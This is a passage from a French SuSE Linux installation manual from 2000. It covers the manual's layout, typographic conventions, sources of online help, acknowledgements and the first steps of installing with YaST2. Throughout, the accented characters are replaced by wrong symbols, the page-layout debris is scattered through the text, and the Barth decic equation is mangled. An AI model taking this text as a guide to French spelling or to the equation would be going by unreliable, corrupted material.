systΦme UNIX. Ce portage est dΘrivΘ de la distribution officielle X11R6.3 du
X Consortium, Inc. et il est donc entiΦrement compatible avec ce standard.
Tous ces composants, avec les programmes (par exemple TEX, le systΦme
de traitement de texte) et goodies supplΘmentaires (comme par exemple les
jeux), constituent ce que l'on appelle communΘment Linux.
Ainsi que nous l'avons dΘjα fait remarquer, il existe un rΘservoir pour ainsi
dire inΘpuisable de logiciels libres, ce qui donne un nombre pratiquement
infini de possibilitΘs de construire un systΦme Linux.
C'est ici que les distributions Linux, telles que la prΘsente distribution SuSE
Linux, entrent en jeu. Les distributeurs examinent l'offre gigantesque de logi-
ciels librement diffusables et font une sΘlection. Le rΘsultat de cette sΘlection
est actuellement , dans le cas de SuSE Linux, un ensemble d'environ 1000 pa-
quetages logiciels qui sont, (le plus souvent) en raison de leur volume, fournis
sur CD.
________________________________________________________________________________________________________*
*________||
| Outre les logiciels libres - logiciels dont les sources sont disponibles et *
* ||||
| *
* |||
| de ce fait inclus dans les prΘsents CD-ROM, la distribution SuSE Li- *
* |||
| nux contient aussi des paquetages logiciels qui, pour diverses raisons, ne *
* |||
| *
* |||
| peuvent Ωtre fournis par SuSE que sous forme compilΘe. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
4
______________________________________________________1.2.__But_de_ce_manuel_~_Conseils_pour_l'utilisation__________________*
*______________________
Par ailleurs, les distributions sont pour la plupart librement accessibles sur
Internet, de sorte qu'une mise α jour occasionnelle du systΦme n'implique
pas obligatoirement l'achat d'une nouvelle distribution.
1.2 But de ce manuel ~ Conseils pour l'utilisation
Nous avons explicitement conτu ce manuel comme une aide α l'installation.
Mais il ne peut pas et ne doit pas se substituer α une documentation plus
poussΘe qui pourra permettre α l'utilisateur intΘressΘ de pΘnΘtrer plus pro-
fondΘment dans le monde fascinant de l'informatique de haute performance.
~ Voir α ce sujet la bibliographie α la fin du prΘsent manuel (chapitre 17.6
page 565) !
Pour une premiΦre installation, il suffit de lire le chapitre 2 page 15 qui se base
sur la pratique. Un novice de Linux ne devrait en aucun cas partir α l'aventure
sans aucune lecture prΘalable. Si vous voulez augmenter votre efficacitΘ et
vous Θpargnez des frustrations, prenez la peine de feuilleter auparavant le
prΘsent manuel : : :
La dynamique de Linux et des logiciels librement diffusables rend difficile
l'Θlaboration d'une documentation d'accompagnement qui tienne compte des
tout derniers dΘveloppements et soit en mΩme temps utilisable pour une ini-
tiation au monde UNIX (sans Ωtre ennuyeuse pour les ``vΘtΘrans''). Le prΘsent
ouvrage tente de concilier ces exigences.
Le but de ce manuel est de permettre aux nouveaux venus sous Linux un dΘ-
part encourageant pour un voyage de dΘcouverte dans leur nouveau systΦme.
Ce manuel comprend, en substance, les parties suivantes :
Guide d'installation : Cette partie du livre, qui prΘsente une installation
exemple commentΘe (chapitre 2 page 15), accompagne le nouveau venu
sous Linux lors de ses premiers pas dans le systΦme. Elle attire son atten-
tion sur les sources possibles d'erreurs et donne des instructions concrΦtes
pour remΘdier aux problΦmes qui pourraient Θventuellement survenir lors
de l'installation.
On abordera ici l'application du programme d'installation et d'adminis-
tration YaST TM de SuSE (chapitre 3 page 81) et il sera expliquΘ comment
amorcer le noyau (chapitre 4 page 117).
Configuration rΘseau : Lorsque le systΦme de base est en marche, le mo-
ment est venu de penser α la connexion rΘseau (chapitre 5 page 153) et α
l'accΦs α Internet (chapitre 5.3 page 171).
Interface utilisateur graphique : L'activation de l'interface utilisateur
XFree86 est le sujet de la partie qui s'Θtend du chapitre 8 page 239
au chapitre 9 page 265.
Son, scanners, notebooks, imprimantes, etc. : Du chapitre 10 page 293 au
chapitre 12 page 333, il sera fait un tour d'horizon des possibilitΘs de votre
matΘriel.
Linux ~ le noyau : Nous passons ici au plat de rΘsistance : le chapitre 13
page 359 et le chapitre 14 page 367 vous prΘsentent le noyau Linux et
vous guident dans la rΘalisation et l'utilisation de votre propre noyau.
*
* 5
1. Introduction _________________________________________________________________________________________________________________*
*_______________________________________@
Mise α jour, paquetages logiciels, principe d'amorτage : Nous parlerons
des stratΘgies de mise α jour et nous aborderons la question de la gestion
des logiciels (chapitre 15 page 403). Certaines caractΘristiques de SuSE
Linux seront examinΘes de plus prΦs et le dΘmarrage du systΦme (concept
d'amorτage) vous sera prΘsentΘ (chapitre 17 page 445).
``SΘcuritΘ'' et introduction α Linux : Les concepts de sΘcuritΘ (chapitre 18
page 465) et les conseils pour bien dΘmarrer sous Linux (chapitre 19
page 481) se trouvent rΘunis α la fin : les procΘdures et les commandes
essentielles sous Linux font ici l'objet de notre attention.
Annexe technique : Dans l'annexe, vous trouverez une liste des fichiers
de configuration essentiels, des combinaisons de touches les plus im-
portantes, quelques exemples de fichiers, une convention de licence, les
questions frΘquemment posΘes au sujet de SuSE Linux (FAQ, annexe F
page 541), etc : : :
Assistance technique : Le r⌠le de l'Assistance Technique α l'Installation et
les possibilitΘs offertes par le Service Pro plus poussΘ vous sont prΘsentΘes
α l'annexe H page 557 ~ Prenez connaissance de tous les dΘtails si vous
souhaitez nous contacter !
Glossaire, bibliographie et index : : : : Et si jusqu'α prΘsent quelque chose
vous a manquΘ, vous pouvez consulter le volumineux index et le glossaire,
soit pour savoir o∙ trouver l'explication de termes essentiels, soit tout
simplement pour Θlargir vos connaissances gΘnΘrales au sujet de Linux,
de UNIX ou des ordinateurs.
1.3 LΘgende - ou que signifie ``terre: # ls''
Nous nous efforτons, tout au long de ce manuel, d'utiliser constamment la
mΩme convention typographique pour faire ressortir les mΩmes choses. Les
distinctions principales sont expliquΘes dans le tableau 1.1 page suivante.
_______________________________________________________________________________________________________*
*_________
__Distinction_________________________________________Signification____________________________________*
*_________
Linus Torvalds personne importante
YaST (yast ) invoquer le programme YaST par la
commande yast
Adabas D le produit Adabas D
/etc/passwd nom d'un fichier ou d'un rΘpertoire
<fichier> α l'entrΘe de la commande, fichier
doit Ωtre remplacΘ par la valeur
rΘelle. Les parenthΦses pointues ne
doivent pas Ωtre tapΘes !
PATH la variable d'environnement du nom
de PATH
192.168.1.2 la valeur d'une variable
ls la commande α lancer est ls
_______________________________________________________________________________________________________*
*_________
Tab. 1.1: Continuer α la page suivante...
6
____________________________________________________________________1.4.__La_lutte_avec_le_nombre_de_pages_:_:_:____________*
*______________________
______________________________________________________________________________________________________________________
`news' l'utilisateur news
terre: # susehelp shell `root' dans le rΘpertoire ~,
(`~' est ici le ``rΘpertoire person-
nel'' de l'utilisateur concernΘ, + rΘ-
pertoire personnel, la commande α
lancer est susehelp
tux@terre:/tmp > ls shell de l'utilisateur `tux' dans le
rΘpertoire /tmp, la commande α lan-
cer est ls ~ └ propos, Tux est le
nom officiel du pingouin Linux : : :
C :\> fdisk invite de DOS avec entrΘe de la com-
mande fdisk
Alt||||||__ l'une des touches α actionner est ici
la touche ``Alt''
Ctr||||||___l+ |A_____|lt+ |S________|uppr Les touches α actionner simultanΘ-
ment sont reliΘes les unes aux autres
par le signe `+' ; les touches α ac-
tionner les unes aprΦs les autres sont
sΘparΘes par un espace.
"Permission denied" annonces du systΦme
`Mettre α jour le systΦ- l'option du menu `Mettre α jour
me' le systΦme'
Tartempion S.A.R.L la firme ``Tartempion S.A.R.L''
+ renvoi au glossaire (voir annexe B
page 511)
______________________________________________________________________________________________________________________
Tab. 1.1: Signification des distinctions contenues dans le texte
1.4 La lutte avec le nombre de pages : : :
Le prΘsent manuel ne peut avoir qu'un nombre limitΘ de pages alors que la
quantitΘ de logiciels disponibles pour Linux s'accroεt α l'infini. C'est pour-
quoi il ne faut pas omettre de mentionner ici la documentation disponible en
ligne.
Nous avons cependant pu trouvΘ dans le manuel la place nΘcessaire pour
vous apporter une aide lors de vos ``premiers pas'' (connexion au systΦme,
copie, effacement et Θdition de fichiers, accΦs aux lecteurs de CD-ROM ou de
disquettes, etc. ; voir chapitre 19 page 481 et pages suivantes).
1.4.1 Base de donnΘes support
Nous avons dΘjα donnΘ des rΘponses α de nombreuses questions et apportΘ
des solutions α de nombreux problΦmes. Nous les mettons α votre disposition
en ligne, 24 heures sur 24, dans notre base de donnΘes support qui contient
plusieurs centaines d'articles : http://sdb.suse.de/sdb/fr/html/.
*
* 7
1. Introduction _________________________________________________________________________________________________________________*
*_______________________________________@
Outre cette possibilitΘ qui vous est offerte en ligne, le contenu de la base de
donnΘes support est Θgalement inclus dans le paquetage sdb_en, sΘrie doc
sur votre CD SuSE Linux. Vous pouvez lire les articles avec un navigateur
Web (arena , lynx , netscape ).
1.4.2 Aide hypertexte
Une grande partie de la documentation est disponible sous forme d'hypertexte.
Le systΦme hypertexte est lancΘ par la commande susehelp . Le programme
(``navigateur'') α lancer pour la lecture de la documentation sera diffΘrent
selon que le systΦme X Window est ou non en marche. Sous X, on lance le
Communicator de Netscape (figure 1.1). Sur la console texte, on utilise lynx .
Fig. 1.1: Page de dΘmarrage du systΦme d'aide (Netscape)
D'autres options du systΦme d'aide peuvent Ωtre obtenues en invoquant
8
____________________________________________________________________1.4.__La_lutte_avec_le_nombre_de_pages_:_:_:____________*
*______________________
tux@terre:/home/tux > susehelp -help
La mise en place du systΦme d'aide est traitΘe au paragraphe 16.4 page 435.
1.4.3 Texinfo et Info
Certains paquetages logiciels contiennent une documentation sous forme de
fichiers Texinfo pouvant Ωtre convertis au format Info. ``Info'' est une autre
forme d'hypertexte. Cette documentation peut Ωtre lue avec le programme
Infoviewer (info ) ou avec Emacs (emacs ) dans le mode Info. Sous le sys-
tΦme X Window, on peut lire ces fichiers aisΘment avec le programme tkInfo
(tkinfo ). Par contre XInfo (xinfo ) est un programme X plut⌠t ``revΩche''.
On peut Θgalement lire ces documents en passant par le systΦme d'aide de
SuSE (voir page 436).
1.4.4 Manuels Unix (``pages de man'')
Pour les systΦmes Unix, la mΘthode habituelle pour obtenir des informa-
tions sur les programmes ou les commandes consiste α entrer man (voir para-
graphe 19.9 page 494). En tapant
tux@terre:/home/tux > man <commande>
on obtient un aperτu de la tΓche et des options de la commande concernΘe.
On peut Θgalement lire les + pages de man au moyen du systΦme d'aide de
SuSE (voir paragraphe 1.4.2 page ci-contre.
1.4.5 Fichiers FAQ, HowTo et README
Le rΘpertoire /usr/doc contient, pour de nombreux paquetages, des sous-
rΘpertoires dans lesquels on trouve des informations sur ces logiciels. On y
dΘcouvre souvent une option depuis longtemps recherchΘe, le nom du fichier
de configuration qui ne se trouve nulle part ou le nom du chien du dΘvelop-
peur. Il vaut en tout cas la peine de jeter ici un coup d'oeil avant que le logiciel
ne prenne le chemin de la poubelle.
_______________________________________________________________________________________________________________________
|||||||| Il nous semble opportun d'attirer votre attention sur la FAQ de SuSE Linux || |
|||||||| || |
|||||||| ~ α l'annexe F page 541 || |
||||||||_______________________________________________________________________________________________________________||_
Le rΘpertoire /usr/doc/faq est tout particuliΦrement digne d'attention. Il
contient des listes de questions frΘquemment posΘes avec les rΘponses concer-
nant bon nombre de problΦmes. Pour cela, le paquetage manyfaqs, sΘrie doc
doit Ωtre installΘ. Dans le rΘpertoire /usr/doc/howto on trouve des ``recettes
de cuisine'' pour installer diffΘrents paquetages ou pour savoir comment pro-
cΘder lorsque surviennent des problΦmes. La plupart des HOWTO sont li-
sibles α partir du menu de l'interface utilisateur graphique ou au moyen du
systΦme d'aide de SuSE (paquetage howtoen, sΘrie doc (Documentation))
Certains d'entre eux sont dΘjα traduits en franτais (voir paquetage fr_howto,
sΘrie doc (Documentation)) - Ces documents sont installΘs dans le rΘpertoire
/usr/doc/FR_HOWTO . Sous Linux, ils sont lisibles par exemple avec less 1 :
1 ____________________________________________________
Cher expert, vous avez bien lu : notre less est tellement ``futΘ'' qu'il peut mΩme lire des fichiers
compressΘs ;-)
*
* 9
1. Introduction _________________________________________________________________________________________________________________*
*_______________________________________@
tux@terre:/home/tux > cd /usr/doc/howto/en
tux@terre:/usr/doc/howto/en > less DOS-to-Linux-HOWTO.gz
Dans le rΘpertoire docu/howto du premier CD, on trouve les versions les
plus rΘcentes, disponibles en fin d'Θlaboration du CD, des HowTo les plus
importants. Il vaut Θventuellement la peine de jeter aussi un coup d'oeil dans
ce rΘpertoire ! Ces fichiers ne sont pas compressΘs et peuvent donc dΘjα Ωtre
lus, avant l'installation, par exemple sous DOS avec type .
Pour les questions et les problΦmes concernant le noyau lui-mΩme, la source
d'informations la plus abondante est constituΘe par le rΘpertoire /usr/src/
linux/Documentation. Celui-ci ne sera toutefois disponible que lorsque
vous aurez installΘ les sources du noyau (paquetage linux ou paquetage
lx_suse), ce qui est de toute faτon expressΘment conseillΘ. On peut aussi
trouver des indications trΦs prΘcieuses dans les diffΘrents sous-rΘpertoires
(par exemple sur le pilote son) et, pour les intrΘpides et les curieux, dans
les sources mΩmes du noyau.
Au cas o∙ vous auriez une question α laquelle le prΘsent manuel ne peut pas
rΘpondre, explorez les sources mentionnΘes afin d'y trouver les informations
recherchΘes.
1.4.6 Livres diffusΘs librement
Le paquetage books, sΘrie doc (Documentation) contient quelques livres de
format PostScript que vous pouvez consulter et imprimer avec le paquetage
gsview, sΘrie gra (Tout sur les graphiques) ou le paquetage gv, sΘrie gra
(Tout sur les graphiques). Avant d'imprimer il conviendrait toutefois de vous
demander s'il ne serait pas plus rentable de vous procurer le livre, si possible
en franτais, dans le commerce.
1.5 ╔loges
Parmi tous ceux qui ont contribuΘ au grand succΦs de Linux, nous tenons tout
particuliΦrement α remercier Florian La Roche dont l'expΘrience dans la
structuration d'un systΦme Linux a ΘtΘ pour nous d'une valeur inestimable ;
son engagement infatigable nous a rendu possible la crΘation d'un systΦme
de base performant rΘpondant aux critΦres les plus actuels. GrΓce α plusieurs
annΘes d'expΘrience avec sa propre distribution jurix , qui circulait comme
``tuyau'' sur Internet, il a pu contribuer, dans une trΦs large mesure, au dΘve-
loppement de SuSE Linux.
Nous remercions aussi Harald K÷nig de l'Θquipe XFree86 TM qui nous
a donnΘ de prΘcieux conseils et de prΘcieuses informations sur le systΦme
X Window ainsi que Eberhard M÷nkeberg qui s'est toujours montrΘ trΦs
disponible pour rΘsoudre les problΦmes posΘs par les pilotes de CD-ROM.
Tous nos remerciement α Hans Lermen. Il est l'auteur du LoadLin bien
connu (loadlin.exe ) qui permet de lancer Linux α partir de DOS ainsi que du
programme DOS Setup (setup.exe ) du prΘsent systΦme Linux.
Ces bonnes Γmes ont rΘalisΘ les traductions de YaST et de linuxrc et ont
contribuΘ, le plus souvent pendant leurs loisirs, α rendre Linux accessible α
10
__________________________________________________________________________________________________________________1.5.__╔log*
*es____________________
un grand nombre d'utilisateurs dans le monde entier : Gunay Arslan, Zbi-
gniew Baniewski, Sßndor Bßrßny, Olaf Borkner-Delcarlo, Michael Bravo,
Michael Burghart, Franca Delcarlo, Jochen Depner, Benedek Hermann, Ibßn
JosΘ Garcφa Castillo, Dora Georgarou (with Romy the barking dog), Pablo
Iranzo G≤mez, Krzysztof Hotiuk, Milan Hromada, Arthur Kerkmeester, Ralf
A. Lanz, Franτoise Lermen, Zoltßn Levßrdy, Nuno Lima, Tomas Morkus,
Carmen Marφn PΘrez, Matts Nordman, Aleksey Novodvorsky, Razvan Cris-
tian Oprea, Gerco Oudhof, George Papamichelakis, Alexey Pavlov, ┴kos Rßt-
kai, Voula Sanida, Aleksey Smirnov, Steve Varadi, P. Vlachodimitropoulos,
Joao Teles, Nuno Vieira, January Weiner et I Made Wiryana.
Nous remercions en outre tous les bΩta testeurs qui ont mis tΘmΘrairement
en jeu le fonctionnement de leur systΦme : Andreas Koegel, Christian Hⁿt-
termann, Dirk Ulbrich, Eberhard M÷nkeberg, Frank Hofmann, Georg C. F.
Greve, Harald K÷nig, Harald Wieland, Karlo Gross, Jens Frank, Lutz Press-
ler, Martin Hehl, Martin Konold, Martin Schulze, Michael Kleinhenz, Nor-
bert Eicker, Oliver Zendel, Ralf Geschke, Stefan Bliesener, Thomas W÷rner,
Ulrich Goebel, Ulrich Windl, Volker Lendecke, Wolfgang Barth et das KDE
Team.
Andrea Ratschker et Thorsten Wandersmann se sont chargΘs de l'Θlabora-
tion et du traitement des images ~ α eux aussi tous nos remerciements. ainsi
qu'α Holger Achtziger, Harald Bertram, Thomas Biege, Peter Findeisen, Mat-
thias Frⁿhauf, Kurt Garloff, LenZ Grimmer, Carsten Gro▀, Berthold Gunre-
ben, Bernhard H÷lcker, Kevin Ivory, Klaus KΣmpf, Karsten Keil, Wolfgang
Kern, Thorsten Kukuk, Johannes Meixner, Petr Pavlik, Bj÷rn Pfeiffer, Jⁿrgen
Scheiderer et Robert Adrian Walczak qui nous ont fourni de prΘcieux rensei-
gnements et α qui nous devons mΩme aussi quelques textes.
Au niveau de la production, c'est en tout premier lieu α Holger Dyroff, Chris-
tian Egle, Frank Sundermeyer et Claudio Taulli que nous devons des remer-
ciements.
Sans oublier tous ceux qui ont oeuvrΘ dans les coulisses et sans lesquels
rien ne fonctionnerait : Adrian, Agathe, Alexander, Alexander, Alexander,
Alexandra, Anas, Andrea Karin, Andreas, Andreas, Andreas, Andreas, Anita,
Antje, Arnd, Barbara, Beate, Bernd, Bernhard, Bernhard, Berthold, Birgit,
Brigitte, Burchard, Carlos, Carsten, Carsten, Carsten, Christian, Christian,
Christian, Christian, Christian, Christian, Christian, Christoph-Erdmann,
Claudia, Claudio, Costin, Daniel, Daniel, David, Dieter, Dieter, Dirk, Dirk,
Dirk, Dragan, Erich, Evelyn, Florian, Francisca, Francoise, Francoise, Frank,
Frank, Frank, Frank, Frank, Frank, Friedrich, Gabriele, Gema, Georg, Ger-
linde, Ghayss, Gregor, Harald, Harald, Hardo, Hartmut, Heidi, Heiko, Helene,
Helmut, Holger, Holger, Hubert, Hubert, Ines, Ingo, Jan, Jesko, Joachim,
Jochen, Johannes, Jordi, J÷rg, J÷rg, J÷rg, J÷rg, J÷rg, J÷rg-Gerald, Jⁿrgen,
Jⁿrgen, Jⁿrgen, Kadriye, Kai, Karin, Karin, Karine, Karl, Karl-Heinz, Katrin,
Kenneth, Klaas, Klaus, Klaus, Klaus, Konrad, Kurt, Kyung Ae, Lenz, Ma-
nuela, Marc, Marco, Marcus, Marcus, Marius, Mark, Markus, Martin, Martin,
Martin, Martina, Martina, Matthias, Matthias, Matthias, Matthias, Melanie,
Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michael,
Michael, Michael, Michaela, Michaela, Milisav, Miriam, Nadin, Nicolas,
Nicolaus, Nicole, Nina, Norbert, Olaf, Oliver, Oliver, Oliver, Patricia, Peter,
*
* 11
1. Introduction _________________________________________________________________________________________________________________*
*_______________________________________@
Peter, Peter, Peter, Peter, Peter, Peter, Petra, Philipp, Pia, Reinhard, Reinhard,
Remo, Renate, Rolf, Rⁿdiger, Rⁿdiger, Rⁿdiger, Sabina, Sebastian, Silke,
Silvia, Simon, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefanie,
Steffen, Stephan, Stephan, Stephan, Stephen, Sven, Sylvia, Tanja, Tatjana,
Thomas, Thomas, Thomas, Thomas, Thomas, Thomas, Thorsten, Thorsten,
Tilman, Timo, Ulrich, Ulrich, Uwe, Uwe, Uwe, Volker, Waldo, Walter, Wal-
traud, Werner, Wittawat, Wolfgang, Wolfgang, Wolfgang et Wolfgang ~ α
tous un trΦs trΦs grand merci !
L'illustration de la couverture a ΘtΘ rΘalisΘe par Stephan Endra▀. └ lui
aussi tous nos remerciements !
Pour ceux qui s'intΘressent aux mathΘmatiques quelques mots α ce sujet :
La dΘcique de Barth
L'Θquation
- 2 4 2 . - 2 4 2 . - 2 4 2 . - 4 4 4 - 2 2 2 2 2 2 . .
8 x ° y y ° z z ° x x + y + z 2 x y + y z + z x
- 2 2 2 . 2 - 2 2 2 . 2
+ (3 + 5°) x + y + z 1 x + y + z (2 °) = 0
p __
° = (1 + 5 )=2 est ici le nombre d'or qui dΘfinit une surface de degrΘ 10
(dΘcique) dΘcouverte en 1994 par W. Barth (Erlangen). Cette surface possΦde
exactement 345 points doubles, ce qui est un record du monde ! Selon la
formule du mathΘmaticien japonais Y. Miyaoka, une surface de degrΘ 10 peut
avoir tout au plus 360 points doubles. Personne n'a cependant jamais vu plus
de 345 points doubles.
L'Θquation ci-dessus est composΘe d'ΘlΘments dits invariantes icosahΘdrales
qui Θtaient dΘjα connues au 19Φme siΦcle de E. Goursat (1858~1936). La
dΘcique de Barth possΦde la symΘtrie de l'icosahΦdre.
*
* *
*
Les dΘveloppeurs de Linux, qui collaborent α l'Θchelle mondiale, font pro-
gresser l'Θvolution de Linux par leur engagement intense et bΘnΘvole. Nous
les en remercions car sans eux ce CD n'existerait pas. Notre activitΘ a pour
but de rendre le rΘsultat de leurs travaux accessible α un trΦs grand nombre
d'utilisateurs intΘressΘs.
Nous remercions tout particuliΦrement Patrick Volkerding pour le sou-
tien qu'il nous a apportΘ dans notre travail et naturellement aussi Linus Tor-
valds !
Nos remerciements spΘciaux vont α Frank Zappa et Pawar !
Nⁿrnberg, 13 mars 2000
Have a lot of fun !
Votre Θquipe SuSE
12
DeuxiΦme partie
Installer SuSE Linux
13
Chapitre 2
PremiΦre installation de SuSE
Linux
2.1 La voie la plus rapide vers le succΦs
Depuis SuSE Linux 6.3, YaST2 simplifie encore la premiΦre ou la nouvelle
installation d'un systΦme. Avec le nouveau YaST , vous disposez, dΦs le dΘbut,
d'un outil intelligent fonctionnant sous interface graphique. YaST2 permet
d'installer trΦs rapidement SuSE Linux sur des machines modernes et bien
ΘquipΘes ~ Il est Θgalement possible, dans les cas ou cela s'avΦre souhaitable
ou nΘcessaire, d'installer en mode texte.
L'utilisateur est guidΘ dans les Θtapes de l'installation par des dialogues fa-
ciles α superviser. Des entrΘes ou dΘcisions concernant la sΘlection sont tou-
jours nΘcessaires lorsque l'utilisateur a la libertΘ de personnaliser son systΦme
et de l'adapter α ses propres besoins.
_______________________________________________________________________________________________________________________||
|||||||| Outre la possibilitΘ d'utiliser YaST2 qui guide tout particuliΦrement les ||| |
|||||||| || |
|||||||| nΘophytes α travers les phases de l'installation, l'utilisateur SuSE Linux || |
|||||||| aguerri peut comme auparavant avoir recours α une mΘthode d'installation || |
|||||||| || |
|||||||| bien ΘprouvΘe : l'outil traditionnel YaST (angl. Yet another Setup-Tool) || |
|||||||| continue α offrir ses bons et loyaux services ~ voir la description pas α pas || |
|||||||| || |
|||||||| au paragraphe 1.5 page 28. || |
||||||||_______________________________________________________________________________________________________________||_
2.1.1 Petit plan prΘliminaire
Faisons un rapide tour d'horizon pour dΘcouvrir la mΘthode la mieux appro-
priΘe :
1. L'installation avec YaST2 ~ directement α partir du CD 1 ~ peut toujours
Ωtre menΘe α bonne fin si les conditions suivantes sont remplies :
~ Votre machine
~ devrait possΘder un lecteur de CD-ROM permettant l'amorτage.
~ Il est souhaitable d'avoir un systΦme graphique conforme α la norme
VESA 2.0 (cela va de soi pour les machines rΘcentes) et
~ si possible 64 Mo de RAM (mΘmoire de travail) ou plus ainsi
~ qu'un processeur Pentium.
*
* 15
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
Si les conditions de dΘpart sont moins favorables, vous devrez Θven-
tuellement vous accommoder de petites restrictions :
~ Recourir α l'amorτage α partir de la disquette d'amorτage.
~ Les logiciels des CD-ROM suivants ne seront installΘs qu'aprΦs un
``amorτage intermΘdiaire'' si vous ne disposez pas de suffisamment
de mΘmoire de travail.
~ L'installation est effectuΘe en mode texte dans le cas o∙ la carte
graphique ne serait pas reconnue.
~ Vous disposez de suffisamment de place pour l'installation : 150 Mo
sont nΘcessaires pour un systΦme minimal, environ 500 Mo pour un
systΦme standard avec de l'espace supplΘmentaire pour des compo-
sants additionnels. Voici les possibilitΘs que vous pouvez envisager :
~ Une nouvelle machine sans systΦme d'exploitation pour effectuer
une premiΦre installation.
~ Un disque sur lequel un systΦme d'exploitation est dΘjα installΘ mais
qui offre encore suffisamment d'espace disponible.
~ Vous voulez consacrer α SuSE Linux un deuxiΦme disque dur.
~ Vous avez des partitions dΘjα utilisΘes qui peuvent Ωtre effacΘes.
Prenez dans ce cas le temps de rΘflΘchir pour savoir quelles donnΘes
doivent Ωtre sauvegardΘes avant l'installation !
Si l'une de ces conditions est remplie, vous pouvez vous lancer sans
perdre de temps ~ passez directement au paragraphe 2.1.2.
2. Vous pouvez recourir α la mΘthode d'installation traditionnelle α l'aide du
``vieux'' YaST dans les conditions suivantes :
~ Vous souhaitez une installation de type ``professionnel'' et vous dΘsirer
effectuer divers paramΘtrages particuliers spΘcifiques α votre systΦme.
~ Vous voulez mettre α jour un systΦme SuSE Linux : lisez tout d'abord
le chapitre sur la mise α jour 15 page 403 et pages suivantes.
________________________________________________________________________________________________________*
*________||
| Notez que l'installation avec le ``vieux'' YaST est dΘmarrΘe lorsque vous *
* ||||
| entrez yast1 α l'invite d'amorτage. Vous trouverez au paragraphe 1.5 *
* |||
| *
* |||
| page 28 des explications dΘtaillΘes au sujet de cette mΘthode d'installation. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Il n'est pas non plus inutile de lire, sur le premier CD, le fichier README, ou,
sous DOS/Windows, le fichier README.DOS. Nous y notons les modifications
qui ont eu lieu aprΦs la mise sous presse du manuel !
2.1.2 Maintenant tout commence : L'Θcran d'accueil
Mettez votre machine en marche et insΘrez le CD 1 dans le lecteur. Si votre
machine devait refuser d'amorcer α partir du CD, il vous faudra probablement
modifier dans le BIOS l'ordre d'amorτage vers CDROM,C,A . Vous trouverez
dans la documentation qui accompagne votre machine les informations nΘ-
cessaires pour effectuer cette modification.
16
_____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
*______________________
AprΦs quelques instants, vous voyez apparaεtre l'Θcran d'accueil (figure 2.1
page 29) et l'invite d'amorτage "boot :" est affichΘe sur le bord infΘrieur
de l'Θcran.
Vous avez maintenant environ 3 secondes pour intervenir en appuyant sur une
touche et tirer ainsi parti de deux particularitΘs de YaST2 :
1. Effectuer une installation en mode texte. ~ Ceci peut s'avΘrer utile dans
certaines circonstances particuliΦres. En mode texte, par exemple, les
masques d'entrΘe peuvent Ωtre reconnus plus facilement par les handi-
capΘs visuels.
Appuyez pour cela sur |C______|_trl(= touche de contr⌠le). Sur le c⌠tΘ droit du
bord infΘrieur de l'Θcran, vous serez averti que le dΘmarrage se fait en
mode texte.
2. Installez le ``disque d'extension de YaST''. ~ Les extensions actuelles,
les mises α jour ou autres choses requises par YaST2 peuvent ainsi Ωtre
chargΘes avant le dΘbut de l'installation proprement dite.
Dans ce cas, appuyez sur |A_____|lt. Vous verrez alors apparaεtre sur le bord
droit de l'Θcran le message "Have your extension disk ready". La
disquette vous sera demandΘe plus tard.
Sur le bord infΘrieur de l'Θcran, il apparaεt des messages tels que "ini-
trd..." et "Loading linux...". AprΦs quelques secondes, le + noyau
commence α amorcer ~ Vous pouvez vous en apercevoir aux nombreux ``mes-
sages du noyau'' qui dΘfilent rapidement sur l'Θcran.
YaST2 dΘmarre et au bout de quelques secondes vous voyez apparaεtre l'in-
terface graphique.
ProblΦmes Θventuels
~ S'il n'est plus possible de continuer aprΦs l'apparition de l'Θcran d'ac-
cueil, autrement dit si votre machine a des difficultΘs α amorcer, vous
avez la possibilitΘ d'intervenir α l'invite d'amorτage. Si dans les 3 se-
condes qui suivent l'apparition du message "boot :" vous appuyez sur
une touche quelle qu'elle soit, le contenu de l'Θcran demeure fixe et vous ____
pouvez faire des entrΘes. Ce n'est qu'aprΦs avoir pressΘ la touche | _____|-
que vous pourrez continuer.
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| En cas de problΦmes lors de l'amorτage du systΦme, voyez le para- || |
|||||||| graphe 2.7.5 page 60 ainsi que le paragraphe 14.3.2 page 370 et pages || |
|||||||| || |
|||||||| suivantes. Dans ces chapitres, vous trouverez des informations sur la cause || |
|||||||| de ces problΦmes ainsi que sur les moyens d'y remΘdier par l'entrΘe de || |
|||||||| || |
|||||||| ``paramΦtres du noyau''. || |
|||||||| Il peut parfois aussi Ωtre utile de consulter la liste de contr⌠le du matΘriel || |
|||||||| || |
|||||||| au paragraphe 2.7.13 page 64. || |
||||||||_______________________________________________________________________________________________________________||_
~ Certaines variantes de BIOS ne parviennent pas α se tirer d'affaire avec
une grande ``image de boot'' (2,88 Mo) telle que celle qui se trouve sur le
CD 1. Utilisez, dans ce cas, le CD 2 ou la disquette d'amorτage.
*
* 17
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.1.3 YaST2 fait son apparition !
Dans la partie gauche de l'image, ainsi que dans la plupart des autres dia-
logues de YaST2 , il est affichΘ un texte d'aide concernant la phase actuelle
de l'installation.
YaST2 vΘrifie le matΘriel et intΦgre dans le systΦme les composants qu'il peut
reconnaεtre. La progression des opΘrations est affichΘe en mode graphique.
Lorsque cette procΘdure est terminΘe, il est automatiquement passΘ α la phase
suivante.
2.1.4 SΘlection de la langue
Vous devez maintenant intervenir pour la premiΦre fois dans le processus
d'installation avec la souris ou le clavier.
Tous les champs d'entrΘe, les listes de sΘlection et les boutons peuvent Ωtre
sΘlectionnΘs par un clic de souris.
Si vous voulez vous servir du clavier, tenez compte des rΦgles suivantes :
~ |_____|Tabdirige le focus sur une zone, un champ_d'entrΘe_ou_de_sΘlection_ou
sur un bouton. La combinaison de touches | ____________________*|+Commutation||_Tabvous__
permet de choisir d'autres groupes de sΘlection. Avec |_"| et |_#|, il est
possible ~ selon la zone activΘe ~ de faire une sΘlection ou de feuilleter
une liste.
~ Avec |______|-, la commande sΘlectionnΘe est exΘcutΘe. Il s'agit en gΘnΘral de
l'action indiquΘe sur le bouton actif.
~ Avec |E_________|_space, vous pouvez cocher des entrΘes.
~ Il est en outre possible_de_dΘclencher la plupart des actions avec la com-
binaison de touches |A____l|t+ CaractΦre soulignΘ.
________________________________________________________________________________________________________*
